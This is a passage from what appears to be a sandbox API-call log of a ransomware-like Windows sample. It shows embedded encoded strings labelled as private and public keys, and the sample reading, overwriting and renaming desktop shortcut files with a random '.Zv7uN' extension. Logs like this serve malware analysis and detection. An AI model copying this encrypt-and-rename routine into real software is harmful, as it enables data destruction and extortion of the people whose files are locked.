fCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0127.712] GetCurrentThreadId () returned 0xa30 [0127.712] GetCurrentThreadId () returned 0xa30 [0127.712] GetCurrentThreadId () returned 0xa30 [0127.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0127.712] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6494c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0127.713] GetCurrentThreadId () returned 0xa30 [0127.713] GetCurrentThreadId () returned 0xa30 [0127.713] GetCurrentThreadId () returned 0xa30 [0127.713] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.713] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0127.713] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.713] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x8d1 [0127.713] SetFilePointer (in: hFile=0x128, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0127.714] ReadFile (in: hFile=0x128, lpBuffer=0x1ef0010, nNumberOfBytesToRead=0x8d1, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1ef0010*, lpNumberOfBytesRead=0x18f96c*=0x8d1, lpOverlapped=0x0) returned 1 [0127.715] CloseHandle (hObject=0x128) returned 1 [0127.715] CreateFileW (lpFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x128 [0127.718] WriteFile (in: hFile=0x128, lpBuffer=0x1ef2040*, nNumberOfBytesToWrite=0x8d1, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1ef2040*, lpNumberOfBytesWritten=0x18f978*=0x8d1, lpOverlapped=0x0) returned 1 [0127.720] CloseHandle (hObject=0x128) returned 1 [0127.720] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk"), lpNewFileName="C:\\Users\\Public\\Desktop\\Google Chrome.lnk.Zv7uN" (normalized: "c:\\users\\public\\desktop\\google chrome.lnk.zv7un")) returned 1 [0127.721] GetCurrentThreadId () returned 0xa30 [0127.721] GetCurrentThreadId () returned 0xa30 [0127.721] GetCurrentThreadId () returned 0xa30 [0127.721] GetCurrentThreadId () returned 0xa30 [0127.722] GetCurrentThreadId () returned 0xa30 [0127.722] GetCurrentThreadId () returned 0xa30 [0127.722] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485, dwReserved0=0x25bae6f2, dwReserved1=0xba1113e9, cFileName="Mozilla Firefox.lnk", cAlternateFileName="MOZILL~1.LNK")) returned 1 [0127.722] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0127.722] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0127.722] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0a09a40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb0a09a40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb0a09a40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x485)) returned 1 [0127.746] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk" (normalized: "c:\\users\\public\\desktop\\mozilla firefox.lnk")) returned 0x20 [0127.746] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Desktop\\Mozilla Firefox.lnk", dwFileAttributes=0x80) returned 1 [0127.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0127.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x2c538ec, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXMOAaxprwo4DaCrCtwbDkMKSwoF8w5/DoXHCt8O4wpBrwoLDjcOCw4l6woN4w5drw6vCvnLCt3nDoEzDqThIK8OpwpPCqcKaEcOFXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoR